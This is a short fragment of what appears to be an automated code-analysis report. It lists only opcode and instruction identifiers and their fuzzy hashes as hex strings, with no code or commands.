                                                                            • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                            • Instruction ID: ff34c2e66364a978581a595e633778a17d1281cef81f938bd26a2a831a3ded09
                                                                            • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                            • Instruction Fuzzy Hash: B911BE75904280CFDB16CF54D9C4B15BF62FB44714F24C6AAD8094B756C33AD40ACB61